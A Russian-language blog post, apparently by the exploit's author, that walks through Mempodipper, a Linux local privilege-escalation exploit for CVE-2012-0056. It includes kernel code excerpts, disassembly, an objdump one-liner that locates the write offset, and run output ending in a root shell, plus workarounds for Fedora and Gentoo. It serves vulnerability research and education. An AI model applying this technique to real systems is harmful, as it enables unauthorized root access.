
linux 提权
Представляем Mempodipper, эксплойт для CVE-2012-0056. /proc/pid/mem — это интерфейс для прямого чтения и записи памяти процесса путем перемещения по тем же адресам, что и виртуальное адресное пространство процесса. В версии 2.6.39 защита от несанкционированного доступа к /proc/pid/mem была признана достаточной, и предыдущая директива #ifdef, запрещавшая запись в произвольную память процесса, была удалена. Любой, имеющий соответствующие разрешения, мог записывать в память процесса. Оказалось, конечно, что проверка разрешений была выполнена плохо. Это означает, что все ядра Linux >=2.6.39 уязвимы, вплоть до коммита с исправлением, выпущенного пару дней назад. Давайте шаг за шагом рассмотрим старый код ядра и разберемся, в чем проблема.
Когда /proc/pid/mem открывается, вызывается этот код ядра:
static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
/* OK to pass negative loff_t, we can catch out-of-range */
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}
При открытии нет никаких ограничений; любой может открыть файловый дескриптор /proc/pid/mem для любого процесса (с учетом обычных ограничений VFS). Он просто запоминает исходный self_exec_id процесса, с которым был открыт, и сохраняет его для последующей проверки при чтении и записи.
Однако запись (и чтение) имеют ограничения проверки разрешений. Давайте взглянем на функцию записи:
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
/* unimportant code removed for blog post */
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
/* unimportant code removed for blog post */
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
/* unimportant code removed for blog post */
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
/* unimportant code removed for blog post
* (the function here goes onto write the buffer into the memory)
*/
Итак, на месте две соответствующие проверки для предотвращения несанкционированных записей: check_mem_permission и self_exec_id. Сначала разберем первую, затем вторую.
Код check_mem_permission просто вызывает __check_mem_permission, так что вот код последней:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
/*
* A task can always look at itself, in case it chooses
* to use system calls instead of load instructions.
*/
if (task == current)
return mm;
/*
* If current is actively ptrace'ing, and would also be
* permitted to freshly attach with ptrace now, permit it.
*/
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
/*
* No one else is allowed.
*/
mmput(mm);
return ERR_PTR(-EPERM);
}
Есть два способа авторизовать запись в память. Либо task == current, то есть процесс, в который идет запись, является процессом, который пишет, либо current (пишущий процесс) имеет эзотерические разрешения ptrace-уровня для работы с task (процессом, в который идет запись). Может быть, вы думаете, что можно обмануть код ptrace? Это заманчиво. Но я не знаю. Вместо этого давайте разберемся, как заставить процесс записывать произвольные данные в свою собственную память, чтобы task == current.
Естественно, мы хотим записывать в память suid-процессов, чтобы получить root. Взгляните на это:
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy
su выводит любой ваш текст в stderr с префиксом "Unknown id:". Таким образом, мы можем открыть файловый дескриптор к /proc/self/mem, выполнить lseek в нужное место памяти для записи (об этом позже), использовать dup2 для связывания stderr и mem-дескриптора, а затем exec в su $shellcode, чтобы записать шелл-спавнер в память процесса, после чего мы получим root. Правда? Не так просто.
Здесь вступает в силу другое ограничение. После прохождения проверки task == current он проверяет, совпадает ли текущий self_exec_id с тем self_exec_id, с которым был открыт файловый дескриптор. Что же такое self_exec_id? Он упоминается лишь в нескольких местах в ядре. Самое важное из них находится внутри exec:
void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */
/* An exec changes our domain. We are no longer part of the thread
group */
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);
self_exec_id увеличивается каждый раз, когда процесс выполняет exec. Таким образом, это работает так: вы не можете открыть файловый дескриптор в не-suid процессе, выполнить dup2, а затем exec в suid-процесс... именно то, что мы пытались сделать выше. Довольно хитрый способ предотвратить нашу атаку, не так ли?
Вот как это обойти. Мы форкаем дочерний процесс, и внутри этого дочернего процесса выполняем exec в новый процесс. У форкнутого дочернего процесса изначально self_exec_id равен родительскому. Когда мы выполняем exec в новый процесс, self_exec_id увеличивается на единицу. Тем временем сам родитель занят выполнением exec в наш процесс su, который пишет шелл-код, поэтому его self_exec_id также увеличивается до того же значения. Итак, мы делаем следующее: форкаем дочерний процесс и выполняем в нем exec в новый процесс, и уже внутри этого нового процесса открываем файловый дескриптор к /proc/parent-pid/mem, используя PID родительского процесса, а не свой собственный (как было раньше). Мы можем открыть файловый дескриптор, потому что для простого открытия нет проверки разрешений. При открытии его self_exec_id уже увеличился до того значения, каким станет self_exec_id родителя, когда мы выполним exec в su. Наконец, мы передаем открытый файловый дескриптор от дочернего процесса обратно родительскому (используя немного очень темной магии с доменными сокетами Unix), выполняем dup2 и exec в su с шелл-кодом.
Осталось одно возражение. Куда писать? Нам нужно выполнить lseek в правильное место памяти перед записью, а ASLR рандомизирует адресные пространства процессов, что делает невозможным узнать, куда писать. Стоит ли тратить время на изобретение более хитрых способов чтения памяти процесса с последующим поиском? Нет. Обратите внимание:
$ readelf -h /bin/su | grep Type
Type: EXEC (Executable file)
Это означает, что su не имеет перемещаемой секции .text (иначе выводилось бы "DYN" вместо "EXEC"). Оказывается, что su в подавляющем большинстве дистрибутивов не скомпилирован с PIE, что отключает ASLR для секции .text двоичного файла! Так что мы выбрали su мудро. Смещения в памяти всегда одинаковы. Чтобы найти правильное место для записи, давайте посмотрим на ассемблерный код вокруг вывода сообщения об ошибке "Unknown id: blabla".
Он получает строку ошибки здесь:
403677: ba 05 00 00 00 mov $0x5,%edx
40367c: be ff 64 40 00 mov $0x4064ff,%esi
403681: 31 ff xor %edi,%edi
403683: e8 e0 ed ff ff callq 402468 (dcgettext@plt)
А затем выводит её в stderr:
403688: 48 8b 3d 59 51 20 00 mov 0x205159(%rip),%rdi # 6087e8 (stderr)
40368f: 48 89 c2 mov %rax,%rdx
403692: b9 20 88 60 00 mov $0x608820,%ecx
403697: be 01 00 00 00 mov $0x1,%esi
40369c: 31 c0 xor %eax,%eax
40369e: e8 75 ea ff ff callq 402118 (__fprintf_chk@plt)
Закрывает лог:
4036a3: e8 f0 eb ff ff callq 402298 (closelog@plt)
И завершает программу:
4036a8: bf 01 00 00 00 mov $0x1,%edi
4036ad: e8 c6 ea ff ff callq 402178 (exit@plt)
Поэтому мы хотим использовать 0x402178, адрес вызываемой функции exit. В эксплойте можно автоматизировать поиск символа exit@plt с помощью простого однострочника bash:
$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178
Естественно, мы хотим записывать по адресу 0x402178 минус количество букв в строке "Unknown id: ", чтобы наш шелл-код оказался точно в нужном месте.
Шелл-код должен быть простым и стандартным. Он устанавливает uid и gid в 0 и выполняет exec в оболочку. Если мы хотим проявить изобретательность, можно заново открыть stderr: перед тем как сделать dup2 mem-дескриптора в stderr, выберем другой файловый дескриптор для дублирования stderr, а затем в шелл-коде выполним dup2 этого другого дескриптора обратно в stderr.
В итоге эксплойт работает как часы с полной надежностью:
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#
Вы можете посмотреть видео его работы.
Спасибо Дэну Розенбергу за его постоянные советы и поддержку. В настоящее время я не публикую исходный код, так как Линус совсем недавно его исправил. Когда пройдет разумное количество времени или если кто-то другой сделает это первым, я опубликую. Если вы студент, желающий чему-то научиться, или у вас есть другие законные причины, мы можем поговорить.
Обновление: очевидно, что по иронии судьбы на основе этого поста некоторые другие люди создали эксплойты и опубликовали их. Так что вот мой. Я написал шелл-код для 32-битной и 64-битной архитектур вручную. Наслаждайтесь!
Обновление 2: как оказалось, Fedora весьма уместно компилирует свой su с PIE, что предотвращает эту атаку. Однако, к сожалению, они не компилируют все свои SUID-бинарники с PIE, поэтому эта атака все еще возможна, например, с gpasswd. Код для этого находится в ветке "fedora" git-репозитория, а видеодемонстрация также доступна.
Обновление 3: Gentoo достаточно умна, чтобы удалять права на чтение у SUID-бинарников, что делает невозможным поиск смещения exit@plt с помощью objdump. Я нашел другой способ сделать это с помощью ptrace. Ptrace позволяет отлаживать любую программу в памяти. Для SUID-программ ptrace сбрасывает их привилегии, но это нормально, так как мы просто хотим найти внутренние адреса памяти. Анализируя опкоды двоичного файла в нужный момент, мы можем расшифровать целевой адрес следующего вызова после вывода сообщения об ошибке. Я создал отдельную утилиту, которая возвращает смещение, а также интегрировал её в основной исходник mempodipper.
{Как всегда, эта работа носит исключительно академический характер и не предназначена для использования вне исследований и образования.}